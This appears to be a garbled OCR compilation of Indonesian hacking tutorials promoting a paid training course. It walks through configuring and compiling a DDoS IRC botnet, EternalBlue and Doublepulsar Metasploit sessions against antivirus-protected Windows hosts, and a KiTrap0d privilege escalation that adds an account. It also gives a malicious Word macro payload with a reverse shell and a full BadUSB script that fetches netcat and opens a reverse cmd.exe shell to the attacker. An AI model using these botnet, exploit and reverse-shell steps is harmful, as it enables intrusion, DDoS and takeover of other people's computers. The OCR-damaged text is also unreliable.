https://github.com/nccgroup/Winpayloads

BH Command Prompt

Main Men

Untuk akses komputer Windows 10 seperti di atas

Oleh Kurniawan

E-mail :
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Xcode Botnet

Sebuah botnet adalah sekumpulan program yang saling terhubung melalui Internet
yang berkomunikasi dengan program-program sejenis untuk melakukan tugas tertentu.
Botnet bisa dipakai untuk menjaga keamanan kanal IRC, mengirimkan surel spam, atau
berpartisipasi dalam serangan DDos. Kata botnet berasal dari dua kata, robot dan network.

Sumber : id.wikipedia.org -

Sumber gambar :

Di sini yang akan dibahas adalah Xcode BOT Net, untuk download source code bot
nya klik . Untuk mengedit dan
melakukan compile source code BOT ini maka diperlukan program Visual Basic. Berikut

option yang perlu diubah :


https://id.wikipedia.org/wiki/Botnet
https://id.wikipedia.org/wiki/Berkas:Botnet.svg
https://www.4shared.com/rar/Szb6H6CLfi/XcodeBOTNet.html

— - r =

L

P

—r
ﬂ |F0rm ﬂ |Un|oa(|
=neral
! 'ddos.status
] ! 'ddos.stop
! larl <sitex example: 'url wuw
p la—hl ! 'qoin <channel> exawple: !'join #
i : 'part #
0
Private Degifare Function CopyFile Lib "kernel3iW Llias "C
; EE Const Jervipr As 3tring = M"arcor.dal.net™ 'servel irc
A Const port Ls Integer = "aALGT™ 'Fort
d = Const Chankgel As 3tring = "#tempathot™ 'Channeg untuk
= Const Mastely s String = "famoode™ 'Botmygfster
Const Versi FECode-YTogyafrees bo Open Edi
| Dim DataGetWsc
T Private Sub Form Load()
E WinJockIRC.Connect J3erwver, port
[l tiwerrekonek.Enabled = True
'I = Me.Hide
= bpp.TaskVizikble = False
infeksi
End Sub

Jika sudah melakukan perubahan pada source code maka Kklik file lalu pilih Make seperti di

bawah ini untuk menjadi file exe.

E Mews Project Cerlr B | =< » |
@ Cpen Projeck... Ckrl+O
-
E Add Project. .. 'ddo=s.=tatus=s
h. Remowe Project lddos=s.=stop
i 'uarl “sitex
5} E SEpie Prej=e 'Join <channe 1>
w Sawve Projeck As, .., 'part cohanne 1
l~rersion
= Sawe Forml.Fron  Ckrl+5
Sawve Formil.frm As... lare Function CopwFile Lilkh ®
= L= String = "arcor.dal.net
L= Integer = T&aaa7™r
L =1 As String = "Htempatbhot™
%%Eﬂnt CErl+P T A= String = famooode T
= @ L= Srtring = "THCode-Yogyvafre
M=o b= Strirngg
[ Make programl0.exe,..
Form Lo=sdi()
TRC.Connect Serswvwer, port
1 Projectl . vbp lkonek. Enalkled = True
Exit Ale+a KiWizsikhle = False
File name: |prngranﬂ 0 ak.

Cancel

Help

Options...

el

Misal menjadi program10.exe



Hasilnya seperti di bawah ini, jika program ini dieksekusi oleh komputer dengan OS Windows

yang terkoneksi dengan internet maka otomatis BOT Net langsung aktif.

L1
‘Q} Projectl
Wisual Basic Project
1KE

™% T

Other Places

| weodebot

ﬂ My Documents
| Shared Documents
:i Iy Computer

\:J My Metwork Places

Details

Di bawah ini hasil saat ada komputer yang menjalankan file botnet, botnet langsung dibuat

dan online di IRC Server yang telah diset.

£ mIRC - [#tempatbot [3]] A=

File View Favaorites Tools  Commands  Window Help = [

Y d mEe E 308 S05
 Bfamcode
~ C3we ROUTER &) DALret famcode

C3ve_WINKP_ | jempatbor

* Now talking in #tempatbot

= C3we ROUTERX Mesin“7B85" has

joined #tempatbot

<famcode> tftuversion

<C3we_ROUTERS_Mesin"7@5"> INFO:
XCode-Yogyafree botnet. Open
Edition auth:poni

= C3we WINXP Hesin“7085" has

joined #itempatbot

[l

BOT Net ini mempunyai fungsi untuk join ke channel lain juga part juga.



IIFHB View Favorites Tools  Commands  Window  Help

 d =9 d 808 ERE LB BE ED]E

| @Famcode

C3we ROUTER Elbeierimmigdc
C3we WINXP_ h
¢ Mow talking in #tempatbot 1 [53 Htesting
¢ C3we ROUTERX Mesin®785" has
joined #tempatbot
famcode> tversion
‘C3we ROUTERYX HMesin™785"> INFO:
XCode-Yogyafree botnet. Open
Edition auth:poni
¢ C3we WINXP_ HMesip™
joined H#tepp
famcode>{{? joi

A5" has

B =] TR T T R Gy ey sy S
# C3we_ROUTER
C3ue WINKP =) Délret fameode

famcode

Mow talking in #itesting

ChanServ sets mode: +nt

ChanServ sets mode: -o famcode
C3we ROUTERX Mesin“785" has

pined #testing

C3we WINXP HMesin“785" has

pined #testing v

Jika ingin keluar channel cukup ketik !part #testing jika ingin keluar dari channel #testing.

Xcode bot ini lebih dirancang untuk DDoS, untuk mengetahui status DDoS, maka

ketik !ddos.status, maka hasilnya akan muncul di bawah ini.

‘¢ mIRC - [#tempatbot [3]]

B Fle Wiew Favorites Tools Commands Wwindow  Help

% 4 @B EH 808 ERBE EE

* [due_RUUTERX_Mesin 765 has ~ @fancode

£l E EEDE

joined #tempatbot C3we ROUTER () DAlnet famcode

{famcode> tuersion C2we WINXP

<C3uwe_ROUTERX Mesin“765"> INFO: - - e
XCode-Yogyafree botnet. Open (EH #testing

Edition auth:poni
* C3we WIMXP_HMesin™785" has
joined #itempatbot
{famcode> %join #testing
<famcode’> t*ddos.status
<{C3we_ROUTERX_HMesin™7@5"> DDOS
Status: Idle-menunggu perintah.
<C3we_WINXP_Mesin™7@5"> DDOS
Status: Idle-menungqu perintah.

Untuk DDoS ketik !ddos.start (site) (port), jika ingin stop maka ketik !ddos.stop

Oleh Kurniawan

E-mail :
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Menguji pertahanan Kaspersky AV 2017, AVG
2016 dan ESET NOD32 ANTIVIRUS 9 dari

serangan exploit remote SMB yang ada di

Metasploit

Di sini kita akan mencoba beberapa antivirus lama yang diintall pada Windows 7 untuk
diserang dengan eksploit remote (MS17-10). Untuk yang pertama kita akan menguiji
Kaspersky Anti-Virus 2007.

Kaspersky Anti-Virus (bahasa Rusia: AHTuBMpYyc Kacnepckoro; sebelumnya disebut
AntiViral Toolkit Pro; sering disingkat KAV) adalah sebuah program antivirus yang
dikembangkan oleh Kaspersky Lab.

Sumber :

A

Immunity

Debugger
= KASPERSKY#

ﬂ% Kaspersky Anti-Virus
&

Kaspersky Loading the application...
Anti=Virdsy

@ Protection is enabled

© 2017 AO Kaspersky Lab. All Rights Reserved.

Setelah diinstall


https://id.wikipedia.org/wiki/Kaspersky_Anti-Virus

-
leb

¥. Kaspersky Anti-Virus KASPERSI(

Activation

Kaspersky Anti-Virus
Activation completed successfully

Thank you for choosing Kaspersky Lab.
To complete registration, follow the link from the email received at datazipp@yahoo.com.

Share protection with your friends to show that you care for them:

n Facebook u Twitter

Aktivasi selesai

¥. Kaspersky Anti-Virus KASPERJKY?2

'k{f/" Licensing

Key: 25E0D1F2-2481-4065-A5F1-BADEBB5343F: X
Key status: active
License: trial for 1 computer for 31 days
Activation date:  2/10/2018 &:10 PM
2 Expiration date:  3/13/2018 7:10 PM
Ny Remaining: 31 days

Details End User License Agreement

Trial version of the application is installed

31 days remaining. After the specified period, the application functicnality will be disabled. To ke:
protected, you should purchase a license.

Enter activation code ﬁ' Purchase license

Licensing



o Anti-Virus

r?'l Your computer is protected

| Scan /N Database Update
# U Update required

Reports

il f" On-Screen Keyboard

Komputer telah diproteksi

192.168.1.58 - Meterpreter session 2 closed. Reason: User exit
f exploit( ) > exploit

Started reverse TCP handler on 192.168.1.29:4444
Generating Eternalblue XML data
| Generating Doublepulsar XML data
Generating payload DLL for Doublepulsar
Writing DLL in /root/.wine/drive c/eternalll.dll
Launching Eternalblue...
Backdoor is already installed
Launching Doublepulsar...
Sending stage 57487 bytes) to 192.168.1.58
| Meterpreter s on 3 opened (192.168.1.29:4444 -> 192.168.1.58:49272) at 20
18-02-10 19:16:11 00
[+] Remote code executed... 3...

meterpreter > shell

Process 1256 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights rese

C:\Windows\system32>

Tapi jika dieksploit menggunakan metasploit dengan payload meterpreter hasilnya target

berhasil diremote.



Berikutnya kita Uji ESET NOD32 ANTIVIRUS 9

ESET is an IT security company that offers anti-virus and firewall products such as
ESET NOD32. It was founded in 1992. ESET is headquartered in Bratislava, Slovakia, and
was awarded the recognition of the most successful Slovak company in 2008, 2009 and in
2010.

Sumber :

(es[zl) NOD32 ANTIVIRUS 9

@ About

A Home

Q, Computer scan ESET NOD32 Antivirus™, Version 9.0.349.14
Copyright © 1992-2015 ESET, spol. s r.o. All rights reserved.

& Update _ .
Windows 7 Ultimate (32-bit), Version 6.1.7601 Service Pack 1

= Tools Intel(R) Celeron(R) CPU G1610 @ 2.60GHz (2593 MHz), 768 MB RAM

£ Setu P Username: windows7-PC\windows7

@ Help and support Installed components:

Component name Version

Antivirus and antispyware scanner module: 1474 (20151111} 1474
Advanced heuristics module: 1162 (20150923) 1152
Archive support module: 1239 (20150929} 1238
Cleaner module: 1114 (20151004} 1114
Anti-5tealth suppert module: 1088 (20151103} 1088
ESET Syslnspector module: 1254 (20150924) 1254
Real-time file systermn protection medule: 1010 (20150808) 1010
Translation support module: 14258 (20151112} 14258

Warning: This program is protected by copyright and internaticnal treaties, Copying o
without express permission from ESET, spol. s r.o. by any means, in part or in full, is stn

NOD32 ANTIVIRUS 9

@ Computer protection

A Home

r D Real-time file system protection
Q, Computer scan h - Enabled: immediate detection and cleaning of malware on your computer,
& Update a Host Intrusion Prevention System (HIPS)

. - Enabled: detection and prevention of unwanted behavicr from applications.
= Tools

Gamer mode

T SEtuFl m Paused: performance optimizations for games and presentation,
©® Help and support

@ Pause Antivirus and antispyware protection

Real-time file system protection menyala (default)


https://en.wikipedia.org/wiki/ESET

[*] Generating payload DLL for Doublepulsar
[*] Writing DLL in /root/.wine/drive c/eternalll.dll
] Launching Eternalblue...
] Pwned! Eternalblue success!
| Launching Doublepulsar...
| Sending stage (957487 bytes) to 192.168.1.139
[+] Remote code executed... 3... 2... 1...

[*] Meterpreter session 1 opened (192.168.1.29:4444 -> 192.168.1.139:49263) at 2

018-02-11 15:52:14 -0500

meterpreter >
meterpreter > shell
Error running command shell: Rex::TimeoutError Operation timed out.
meterpreter > sysinfo
Computer : WINDOWS7 -PC
0S : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32
meterpreter > [

Jika menggunakan meterpreter dari msf, hasilnya seperti di atas, yaitu berhasil masuk tapi

gak bisa masuk shell

@ Computer protection

A Home
Real-time file system protection
Q, Computer sCan e Enabled: immediate detecticn and cleaning of malware on your computer.
© Update Host Intrusion Preventjgg
Enabled: detectiog prevention of unwanted bel®mge from applications.
= Tools . %
T Setup -
A Threat found
© Help and support
¥ Pause Threat found in memory!
Object:
Operating memeory » rundll32,exe(1200)
Threat:
a variant of Win32/RiskWare.Meterpreter.A application

Information:
cleaned - contained infected files

I Your computer is not protected.

Terdeteksinya seperti di atas



root@kalidata: ~

File Edit View Search Terminal Help

[*] Writing DLL in /root/.wine/drive c/eternalll.dll
[*] Launching Eternalblue...

[+] Pwned! Eternalblue success!

[*] Launching Doublepulsar...

[*] Sending stage (957487 bytes) to 192.168.1.139
[+] Rembte code executed:... 3... Z&sujsses

[*] Meterpreter session 1 opened (192.168.1.29:4444 -> 192.168.1.139:49263) at 2
018-02-11 15:52:14 -0500

meterpreter >
meterpreter > shell
Error running command shell: Rex::TimeoutError Operation timed out.
meterpreter > sy31nfo
Computer WINDOWS? -PC
0S : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32
meterpreter > shell
Error running command shell: Rex::TimeoutError Operation timed out.

meterpreter > |

Ketik shell lagi masih tidak bisa

[*] Meterpreter session 1 opened (192.168.1.29:4444 -> 192.168.1.139:49263) at 2
018-02-11 15:52:14 -0500

meterpreter >
meterpreter > shell
Error running command shell: Rex::TimeoutError Operation timed out.
meterpreter > syblnfo
Computer : WINDOWS7-PC
0S : Windows 7 (Build 7601, Service Pack 1).
Architecture . x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter 1 x86/win32
meterpreter > shell
=¥ :TimeoutError Operation timed out.

ieterpreter > 1s
Error running command 1ls: ‘Rex::TimeoutError Operation timed out.

meterpreter > |
T—

Perintah Is dari meterpreter juga tidak bisa



root@kalidata: ~

File Edit View Search Terminal Help

meterpreter > shell
Error running command shell: Rex::TimeoutError Operation timed out.
meterpreter > sy<1nfo
Computer WINDOWSY -PC
0S : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32
meterpreter > shcll
Error running command shell: Rex::TimeoutError Operation timed out.
meterpreter > 1s
Error running command 1s: Rex::TimeoutError Operation timed out.
meterpreter > run vnc
[*] Creating a VNC reverse tcp stager: LHOST=192.168.1.29 LPORT=4545
[*] Running payload handler
[*] VNC stager executable 73802 bytes long
[*] Uploaded the VNC agent to C:\Users\windows7\AppData\Local\Temp\fugztOJvL .exe
(must be deleted manually)
[*] Executing the VNC agent with endpoint 192.168.1.29:4545...
Error in script: Rex::Post::Meterpreter::RequestError stdapi sys process exe
cute: Operation failed: Access is denied.
meterpreter > |j

HILII77077

Perintah run vnc juga tidak jalan.

Host Intrusion Prevention System (HIPS)
Enabled: detection and prevention of unwanted behavior from applications.

((Eet] WX
o, Gam
I Paus
A Threat found
@ Pause Antiviru Object:
ChUsers\windowsMAppDataiLocal\ Temp\fugztOlvL.exe
Threat:
a variant of Win32/Rozena AM trojan
Information:
deleted - quarantined

Your computer is not protected.

Hasilnya terdeteksi seperti di atas



Apakah ada cara lain biar tidak terdeteksi? Jawabnya ada yaitu dengan exploit yang berbeda,

contoh hasilnya seperti di bawah ini.

> AV

:\Users\Public\Downloads>dir /p

Volume in drive C has no label.
Volume Serial Number is 2863-F34A

Directory of C:\Windows\system32

09/01/2015
P9/01/2015
P7/13/2009
06/10/2009
06/10/2009
11/20/2010
11/20/2010

p7/13/2009
p7/13/2009
p7/13/2009
p7,/13/2609
p7/13/2009
p7/13/2009
p7/13/2009
p7,/13/2609
11/20/2010

03:
03:
09:
02:
02:
04:
04:
06:
06:
06:
06 :
06 :
06:
06:
07:
ev:
07:
04:.
2725 File(s)
91 Dir(s)

40
40
56
16
16
18

AM
AM
PM
PM

<DIR>
<DIR>
<DIR>

=DIR=
=DIR=
<DIR=>

2,151
2,233
131,584
3,727,872
39,424

0409

12520437 .cpx
12520850. cpx
aaclient.dll
accessibilitycpl.dll

ACCTRES.dll

41,472 X
354,816 xwi

85,504
158,208
187,520

222,720

327,680

xwreg.dll
¥wipdui.dll
xwipw32.dll
zgmprxy.dll
zh-CN

Zh-HK
zh-TwW
zipfldr.dll

1,001,926,038 bytes
14,852,104,192 bytes free

:\Users\Public\Downloads=

Untuk bagaimana caranya bisa bypass ada di X-code Training dengan modul 1700 halaman

lebih, modulnya hanya bisa didapat dengan melalui training. (

)


http://xcode.or.id/professional

Berikutnya kita coba AntiVirus AVG 2016

AVG adalah program antivirus yang dibuat oleh AVG Technologies. Sebelum bernama
AVG Technologies, perusahaan ini bernama Grisoft.
Sumber :

Download di bawah ini

https://avg-free.en.uptodown.com/windows/old > c C? Search

‘ m Perfect antivirus protection for free

todown

indows

Audio

Previous versions

Business
Desktop
Development /16 BUILD 7... 2016 BUILD 1... 2016 BUILD
Education

Games

Interneat


https://id.wikipedia.org/wiki/AVG_Anti-Virus

€

% .avG AntiVirus FREE ® More fromAVG | Reports 1 Support

Computer: Some components needs update.

—
! v ,. 2 o

jm] ] @

Computer

Scan now o Fix performance C Update now

AntiVirus protects your computer from viruses, spyware, worms, and trojans.
Some components needs update.

Hasilnya setelah instalasi

exploit( ) > exploit

Started reverse TCP handler on 192.168.1.29:4444
Generating Eternalblue XML data

Generating Doublepulsar XML data

Generating payload DLL for Doublepulsar
Writing-Be=e=In /root/.wine/drive c;/etewmnalll.dll
Zaunching Eternalblue. ..

Error getting output back from Core; aborting...
Are you sure it's vulnerable?

Launching Doublepulsar...

Oops, something was wrong!

Exploit completed, but no session was created.

exploit ( .

7/ ////

Tapi jika menggunakan metasploit hasilnya exploit tidak berjalan dengan baik

- X

Options v

Lalu bagaimana untuk kasus di atas? Ada caranya tapi dengan exploit yang berbeda,

hasilnya seperti di bawah ini




~> AV : AVG AntiVirus Free Edition

c:\Users\Public\Downloads>

Caranya tersedia di X-code Training dengan modul 1700 halaman lebih, modulnya hanya

bisa didapat dengan melalui training. ( /

)

Oleh Kurniawan

E-mail :



http://xcode.or.id/professional
http://xcodetraining.com/
mailto:trainingxcode@gmail.com

Mencari situs di google sesuai kriteria dengan BinGoo dan

cara mencari halaman loginnya

BinGoo! A Linux bash based Bing and Google Dorking Tool

Sumber :

Di Ubuntu Server

@ root@ubuntufresh: /home/data = E =

Install browser : apt-get install lynx


https://github.com/Hood3dRob1n/BinGoo

git clone https://github.com/Hood3dRob1n/BinGoo.git



Cd BinGoo
./bingo

Pilih 1 lalu 1, lalu ketik seperti di atas site:co.id lalu enter



Hasilnya ditemukan 188 links



Untuk mencari halaman login dengan BinGoo

Oleh Kurniawan

E-mail :


mailto:trainingxcode@gmail.com

Privilege escalation

Privilege escalation

Privilege escalation is the act of exploiting a bug, design flaw or configuration oversight
in an operating system or software application to gain elevated access to resources that are
normally protected from an application or user. The result is that an application with more
privileges than intended by the application developer or system administrator can perform
unauthorized actions.

Sumber : en.wikipedia.org -

Di sini kita akan mencoba untuk menaikkan hak akses pada Windows Server 2008.
Untuk mengetahui lebih banyak klik

Di Windows 2008 Server menggunakan akun user biasa yang tidak dapat menambah akun

baru

-
[+ Command Prompt

C:~Uzsers~Public“Downloads >diwr
1 Yolume in drive C has no label.
Uolume Serial Humber iz 885B-247F

Directory of C:sUszsersz“Public“Downloads

5 @9:-85 <DIR>

5 @7:85% <DIR> - -

Al -8 ADUI SORY

Al:=24 Makefile

ai1:=24 README

A4:82 - vdmallowed.c
12:-39 vdmallowed.exe

Al1:=24 - vdmexploit.c
a7:4%2 PH 1,177,648 vdmexploit.dll
7 Filed=> 1.293_895 huytes
2 Div(s>» 192.496.683.648 bhytes free

C:~Usersz~Fublic~Downloads>net user cewek Bazeballld .add
Syzstem error 5 has occurred.

Access is denied.

C:slUserssPublic~Downloads >



https://en.wikipedia.org/wiki/Privilege_escalation
http://www.rapid7.com/db/modules/exploit/windows/local/ms10_015_kitrap0d

C:\Users\Public\Downloads >vdmnallowed

Windows NT/Z2K/XP/2K3/VISTA/2K8/7 NtUdnControl(O->KiTrapBd local »ing® exploit
taviso@Psdf.lonestar.oryg

o

Spawning a shell to give SYSTEM token {(do not close it)
CreatePro sCYC:N\WINDOUWSN\SYSTEM32\CHMD.EXE") => 2148
GetUersi ) »> 6.0

’ stenInformation() > \SystenRoot\systen3d2\ntoskrnl.exel8181CH00

g for kernel 6.8 signature { 64, al sa\ P e

$ F found Bxae 3 bytes fronm kernel
Starting » NTUDM ¢ stem | hince
CreatePro S
OpenProce
Injecting the ex C
WriteProcessMeno ; E: sporation. All rights reserved.
VaitForSingleObject (@
Get . CodeThread(8; >:N\Userss\Public\Downloads . user cewek BaseballlB sadd
The exploit thread repfThe command completed successfully.
wBBt? You can now use

Dengan menjalankan exploit vdmallowd, maka muncul tampilan command prompt
baru dengan akses administrator.Hasilnya saat menjalankan penambahan akun, hasilnya
berhasil ditambahkan akun user baru dengan nama cewek.

C:slzerssPublicsDownloads *net user administrator Basehall3l
The command completed successfully.

C:=~Users~Public“Douwnloads >

Penggantian password administrators berhasil dilakukan,

Administrator Kurniawan
Logged on Logged on

! Cancel

-, .
vg, Windows Server-2008
Enterprise




Bagaimana jika untuk Windows 7, 8.1,10,Server 2012, Server 20167 Caranya ada dengan bug
dan exploit yang berbeda dan itu tersedia di X-code Training dengan modul 1700 halaman
lebih, modulnya hanya bisa didapat dengan melalui training. ( /

), meskipun ada materinya tapi semuanya hanya bisa berjalan selama
Windows belum diupdate untuk menangani bug yang dapat membuat windows dapat dinaikkan

hak aksesnya dari user biasa menjadi administrator.

Oleh Kurniawan

E-mail :


http://xcode.or.id/professional
http://xcodetraining.com/
mailto:trainingxcode@gmail.com

Cara mendeteksi keberadaan WAF pada

target web

A web application firewall (WAF) is an application firewall for HTTP applications. It
applies a set of rules to an HTTP conversation. Generally, these rules cover common attacks
such as cross-site scripting (XSS) and SQL injection.

Sumber :

Contoh untuk mendeteksi WAF pada suatu target bisa menggunakan WAFWOOF atau NMAP

dengan menggunakan script http-waf-detect.

WAFWOOF allows one to identify and fingerprint Web Application Firewall (WAF)
products protecting a website.

Sumber :

Di sini penulis mencobanya di Kali-linux.



https://www.owasp.org/index.php/Web_Application_Firewall
https://github.com/EnableSecurity/wafw00f

Apakah ada cara lain selain menggunakan WAFWOOF ? Jawabnya ada contohnya sebagai

berikut dengan target misal di jaringan local dengan ip 192.168.1.102.

nmap -p80 --script http-waf-detect 192.168.1.102
Hasilnya terdeteksi WAF

Berikutnya dicoba pada web yang tidak diberikan WAF yaitu pada web dengan ip
192.168.1.32.

Wit W el 0

nmap -p80 --script http-waf-detect 192.168.1.32
Hasilnya tidak terdeteksi WAF

Apakah WAF di atas bisa di bypass? Ada yang bisa di bypass, ada juga yang tidak, tergantung

rules yang digunakan, semuanya dibahas jauh lebih lengkap, termasuk contoh cara bypass-



nya di modul X-code Training dengan jumlah halaman 1700 lebih, modulnya hanya bisa

didapat dengan melalui training. ( / ).

Oleh Kurniawan

E-mail :


http://xcode.or.id/professional
http://xcodetraining.com/
mailto:trainingxcode@gmail.com

Eksploitasi remote dengan celah Office Word Macro
pada Microsoft Word 2010

Microsoft Office Word Malicious Macro Execution

This module injects a malicious macro into a Microsoft Office Word document (docx). The
comments field in the metadata is injected with a Base64 encoded payload, which will be
decoded by the macro and execute as a Windows executable. For a successful attack, the
victim is required to manually enable macro execution.

Sumber :
Di sini penulis mencobanya di kali-linux.

Jalankan metasploit dengan perintah msfconsole

) > use windows/meterpreter/reverse_tcp
) > use exploit/multi/fileformat/office word macro
) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp
msf exploit( ) > show options

Module options (exploit/multi/fileformat/office word macro):
Name Current Setting Required Description

CUSTOMTEMPLATE A docx file that will be used as a template to build the exploit
FILENAME msf.docm yes The 0ffice document macro file (docm)

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description
Exit technique (Accepted: '', seh, thread, process, none)

LHOST yes The listen address
LPORT 4444 yes The listen port

Exploit target:

use windows/meterpreter/reverse_tcp
show targets
set payload windows/meterpreter/reverse_tcp

show options


https://www.rapid7.com/db/modules/exploit/multi/fileformat/office_word_macro

) > ifconfig

ING,MULTICAST= mtu 1580
.255.8 broadc 192.168.1.255
::a00:27ff:feb9:ce2a prefixlen 64 scopeid Ox20<link>
0:27:b9:ce txqueuelen 1000 (Ethernet)
1026 byt (797.3 KiB)
dropped ® overruns 8 frame @
617 bytes 44956 (43.9 KiB)
s 0 dlnpprd 0 overruns © carrier ® collisions
base 0xdeze

—?3<HP LOOPBACK,PHNNING> mtu 65536
i .0.0.0
2 5CO 0x10<host>
(Local Loopback)
1518 (1.4 KiB)
overruns @ frame ©
(1.4 KiB)
runs ® carrier ® collisions @

et lhost 192.168.1.101
xploit

Using template: /usr/share/metasploit-framework/data/exploits/office word macro/template.docx
Injecting payload in document comments

Injecting macro and other required files in document

Finalizing docm: msf.docm

msf.docm stored at /root/.msf4/local/msf.docm

exploit( I ) > ifconfi

set lhost (ip komputer sendiri)

exploit

mst exploit(

== windows/n
ploit(
4444

ploit(
== 192.168.1.

exploit
background job ©.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp



(W]l (LR coba [Read-Cnly] - Microsoft Word
Home Insert Page Layout References Mailings Reviews i Design Layout
i - - AS AT EE " TR e Sl
Combria (Boc) = 12~ AT A7 | Aam ) IZ i T | saBboer | aaBboer AaBbCe AsBbcel AQB
Paste o 2 L. A. ==l== = - BEEE i i !
'3 F Format Pairtter B 7 U abe X, X -9 EI=EEE| Iy i TMormal | Thao Spaci.. Heading 1 Heading 2 Title
Clipboard Fant Faragraph Styles

!Attention! This document was created by a newer version of Microsoft Office,
Macros must be enabled to display the contents of the document.

Client membuat file document tersebut menggunakan Microsoft word 2010

exploit( ) > exploit
Exploit running as background job 0.

Started reverse TCP handler on 192.168.1.101:4444
exploit( ) > [*¥] Sending stage (179267 bytes) to 192.168.1.128
Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.128:1315) at 2017-12-15 18:18:06 -0500
session 1
kession => 1
sf exploit( ) > sessions -i 1
*] Starting interaction with 1...

eterpreter > shell

Process 5020 created.

hannel 1 created.

Microsoft Windows [Version 6.3.9600]

(c) 2013 Microsoft Corporation. All rights reserved.

:\Users\Windows\Documents>[]

Hasilnya seperti di atas.

Bagaimana jika targetnya adalah Microsoft Word 2013 dan Microsoft Word 2016, caranya
dengan celah dan exploit berbeda yang materinya tersedia di X-code Training dengan modul
1700 halaman lebih, modulnya hanya bisa didapat dengan melalui training.
( / ), meskipun ada materinya tapi
semuanya hanya bisa berjalan selama Microsoft office belum diupdate untuk menangani bug

yang membuat target bisa diremote.

Oleh Kurniawan

E-mail :


http://xcode.or.id/professional
http://xcodetraining.com/
mailto:trainingxcode@gmail.com

Cara memasukkan payload BadUSB ke USB
Super X-code 2.0

BadUSB

A device can emulate a keyboard and issue commands on behalf of the logged-in user, for
example to exfiltrate files or install malware. Such malware, in turn, can infect the controller
chips of other USB devices connected to the computer. The device can also spoof a network
card and change the computer's DNS setting to redirect traffic.

Sumber :

Contoh berbagai macam payload :

Netcat for Windows :

Compile :

Arduino :

Gunakan Arduino 1.8.0, jangan yang 1.8.5 (terbaru saat tutorial ini dibuat), karena nanti tidak
bisa untuk Windows 7. Jika Arduino 1.8.0, bisa untuk windows 7, 8.1 dan 10.

Payload untuk remote Windows 7/ 8.1/ 10
By Kurniawan
Uji coba untuk Windows 10 di Mini PC Intel Atom Z8500, RAM 2 Gb


https://srlabs.de/bites/usb-peripherals-turn
https://github.com/hak5darren/USB-RubberDucky/wiki/Payloads
https://github.com/hak5darren/USB-RubberDucky/wiki/Payloads
https://eternallybored.org/misc/netcat/
https://nurrl.github.io/Duckuino/
https://www.filehorse.com/download-arduino/28819/

Uji coba untuk Windows 8.1 di PC Intel Pentium G3260, RAM 4 Gb
Uji coba untuk Windows 7 di PC Intel Celeron G1620, RAM 4 Gb

Informasi tentang konfigurasi komputer penyerang

Konfigurasi yang perlu diketahui adalah share kan salah satu folder windows anda. Tujuannya

agar target bisa mengakses share folder tersebut dengan menggunakan net use.

net use z: \\(ip public / domain / sub domain)\(nama folder yang dishare) /u:(username)

(password).

Jika tidak memiliki ip publik maka bisa mengujinya dengan ip lokal, yang tentu saja target harus

berada dalam satu jaringan lokal.

Password di atas adalah password share folder jika ada.

Hal lain yang perlu diperhatikan adalah pastikan file nc.exe ada di share folder tersebut.

Netcat bisa didownload di

Payload :

DELAY 1000

CONTROL ESCAPE

DELAY 1000

STRING RUN

DELAY 1000

ENTER

DELAY 1000

STRING cmd

DELAY 1000

ENTER

DELAY 500

STRING taskkill /f /pid nc.exe
DELAY 200

ENTER

DELAY 200

STRING del c:\Users\Public\Downloads\nc.exe
DELAY 200

ENTER


https://eternallybored.org/misc/netcat/

DELAY 3000

STRING net use z: /delete

DELAY 200

ENTER

DELAY 200

STRING net use z: \\(ip public / domain / sub domain)\(nama folder yang dishare)
/u:(username) (password)

DELAY 200

ENTER

DELAY 200

STRING copy z:\nc.exe c:\Users\Public\Downloads
DELAY 200

ENTER

DELAY 3000

STRING y

DELAY 200

ENTER

DELAY 200

STRING net use z: /delete

DELAY 200

ENTER

DELAY 1000

STRING c:\Users\Public\Downloads\nc.exe (ip publik / domain / subdomain) 4444 -e
cmd.exe -d

DELAY 200

ENTER

DELAY 3000

ALT SPACE

STRING C

DELAY 200

Keterangan :
Kurung buka dan kurung tutup dihapus jika diset.

Payload di atas dibuat oleh Kurniawan.


mailto:trainingxcode@gmail.com

—

Payload juga bisa diakses di hiips://github.com/kurniawandata/Payload-BadlUSE-Super-X-

code.

Lisensi yang saya berikan untuk payload ini adalah GNU GPL.

Langkah-langkah untuk memasukkan payload ke badusb stick :

Eile Edit Format Yiew Help

.comymodul Sfu:kurniawan baseball

Delete

Select All
Right to left Reading order

Show Unicode control characters

Insert Unicode control character k

Open IME

Reconversion

Buka situs : https://nurrl.github.io/Duckuino/



https://github.com/kurniawandata/Payload-BadUSB-Super-X-code
https://github.com/kurniawandata/Payload-BadUSB-Super-X-code
https://nurrl.github.io/Duckuino/

https://nurrl.github.io/Duckuino/

DELAY 1000
CONTROL ESCAPE

DELAY 1000

STRING RUN

DELAY 1000

ENTER

DELAY 1000

STRING cmd

DELAY 1000

ENTER

DELAY 500

STRING taskkill /f /pid nc.exe
DELAY 200

ENTER

DELAY 200

STRING del c:\Users\Public\Downloads
\ng-ex8

Export

Time touse !

Option 1: Download{Recommended)

Download ! v

Option ?: T~~u/Daste

Copy !

Info: Code successfully parsed in 1.27ms !

Klik Copy



https://nurrl.github.io/Duckuino/

File Edit Skdtch | Tools

Arduine/Genuino Mega or Mega 2560

Arduine Mega AU

sketch_jan2Ga
¥ Made with
* Check the

#include "Eey

void typeKew(

{
Keyboard.pr

huto Format

Archive Sketch

Fix Encoding & Reload

Serial Monitor

Serial Plotter

WIFI101 Firmware Updater

oard: "Arduino Leanarda"

Paort: "COM3 (Arduino Leonardo)”

Get Board Info

n nAL IO

Pilih seperti di atas

=

Arduino Leonardo )

Ctrl+T ‘w ;

Ctrl+5Shift+M
Ctrl+Shift+L

2

Arduine/Genuino Micro
Arduino Esplora
Arduine Mini

Arduino Ethernet
Arduine Fio

Arduine BT

LilyPad Arduino USE
LilyPad &rduino
Arduine Pro or Pro Mini

Arduino NG or older

sketch_jan26a
* Made with

